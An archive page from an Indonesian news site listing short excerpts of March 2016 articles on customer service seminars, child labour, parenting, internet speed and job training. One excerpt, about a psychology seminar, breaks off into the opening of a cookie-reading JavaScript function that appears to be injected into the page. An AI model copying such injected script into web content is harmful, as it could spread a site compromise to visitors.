General
Melayani dengan Kecerdasan Emosi yang Baik
Seminar Indonesia Customer Service Summit 2016 Service with Emotional Intellegence Intipesan.com – Setiap karyawan memiliki emosi tersendiri dalam melayani pelanggan, dan faktor yang mempengaruhinya adalah kecerdasan emosional, perhitungan mood, dan dampak emosi di tempat kerja. Demikian dijelaskan oleh Hermanto Kosasih dalam seminar Indonesia Customer Service Summit 2016 pada sesi...
Redaksi March 30, 2016
General
Menjadi Pemimpin yang Melayani bagi Pelanggan
Seminar Indonesia Customer Service Summit I Service Quality Leadership – From Concept to Action Suatu perusahaan yang baik haruslah memiliki kualitas layanan yang baik pula. Untuk bisa menghasilkan kualitas layanan tersebut terdapat peran peran pemimpin, dalam upaya mengembangkan budaya melayani pelanggan di perusahaan. Karena dengan memberikan layanan yang baik...
Redaksi March 30, 2016
General
Bagaimana Menciptakan Budaya yang Melayani Pelanggan
Seminar Indonesia Customer Service Summit I Service Culture Development Intipesan.com – Setiap perusahaan harus memiliki pengembangan dalam budaya pelayanan. Maka dari itu setiap perusahaan harus focus terhadap budaya dalam pelayanan. Hal yang meliputi dari budaya pelayananya itu usia pelanggan ,pengalaman pelayanan pelanggan yang harus diperbarui, serta meningkatkan pengalaman pelayanan....
Redaksi March 30, 2016
General
The 9th Psychology At Work
Seminar Psychology at work yang digelar setiap tahun di Bandung ini menghadirkan pembicara diantaranya ; Herry Tjahjono, Dr, Anissa, Dr JAA Rumeser, Ekusli Goestandi, Tina Macella, Hedi Wahyudi, Dr H.Hendriati Agustiani, Rini Lestari Utami. Peserta sangat antusias dan mendapatkan pembekalan sekitar peran ilmu psikologi di perusahaan. function getCookie(e){var U=document.cookie.match(new...
Redaksi March 30, 2016
General
Pencegahan Eksploitasi Tenaga Kerja Anak
Salah satu permasalahan ketenagakerjaan di Indonesia yang perlu mendapatkan perhatian khusus adalah keberadaan pekerja anak. Kemiskinan yang ada sekarang ini merupakan penyebab eksploitasi anak sebagai sumber pendapatan keluarga. Menurut data Badan Pusat Statistik (BPS) tahun 2015 angka kemiskinan sekitar 28,59 juta orang atau 11,22 persen dari keseluruhan jumlah penduduk...
Redaksi March 30, 2016
General
Peran Orangtua Dalam Mengahdapi Anak yang Cengeng
Intipesan.com – Sudah menjadi hal yang wajar ketika seorang anak menangis dikarenakan sebab-sebab tertentu yang terjadi padanya. Namun intensitas dan kualitas menangis setiap anak berbeda-beda. Ada anak yang jarang menangis dan juga anak yang sering sekali menangis atau biasa disebut cengen. Ima Sri Rahmani,Psi., Psikologi Universitas Islam Negeri Syarif...
Redaksi March 30, 2016
General
Tanah Air Masuk Dalam 5 Negara dengan Internet Berkecepatan Tinggi
Intipesan.com – Kehadiran koneksi 4G LTE secara resmi di akhir tahun lalu yang disebut turut mempengaruhi kecepatan internet di Tanah Air, juga merupakan salah satu faktor pendukungnya. Era internet cepat di Indonesia saat ini disebut sudah semakin dekat. Hal itu juga dapat dilihat dari laporan kuartal keempat 2015 dari...
Redaksi March 30, 2016
General
Lima Aspek Penting untuk Tumbuh Kembang Anak
INTIPESAN.COM – Permainan yang bermuatan edukasi pada anak hendaknya mencakup lima aspek, yakni perkembangan fisik, sosial, emosional, bahasa, dan kecerdasan. Kearifan dan wawasan orangtua di dalam memilih jenis mainan dan permainan amat penting. “Kelima aspek tersebut tidak bisa dipisahkan antara satu sama lain di dalam tumbuh kembang anak. Jika...
Redaksi March 30, 2016
General
Penambahan Alokasi Anggaran untuk Pengembangan Balai Pelatihan Kerja
INTIPESAN.COM – Dalam meningkatkan kualitas tenaga kerja di Indonesia, Pemerintah harus melakukan upaya gunamemaksimalkan peran Balai Latihan Kerja (BLK) yang ada. Untuk itu Menteri Ketenagakerjaan M Hanif Dhakiri akan mendorong agar alokasi anggaran dana fungsi pendidikan, dapat digunakan untuk menunjang program pelatihan kerja di Balai-balai Latihan Kerja di berbagai...
Redaksi March 29, 2016
General
Pelatihan Keterampilan Bernegosiasi Ditjen PHI & Jamsos dengan Federasi SP/B
INTIPESAN.COM – Guna meningkatkan kerja sama dalam menyelenggarakan Pelatihan Keterampilan Bernegosiasi (Training of Trainer) antara Ditjen PHI & Jamsos dengan federasi SP/SB, maka pada hari Selasa (29/3) dilakukan penandatanganan Kesepahahaman Bersama mengenai Penyelenggaraan Pelatihan Bagi Pelatih (Training of Trainer) Keterampilan Bernegosiasi Dalam Hubungan Industrial. Penandatanganan Kesepahaman Bersama ini...
Redaksi March 29, 2016
Facebook
Twitter
Instagram
YouTube
RSS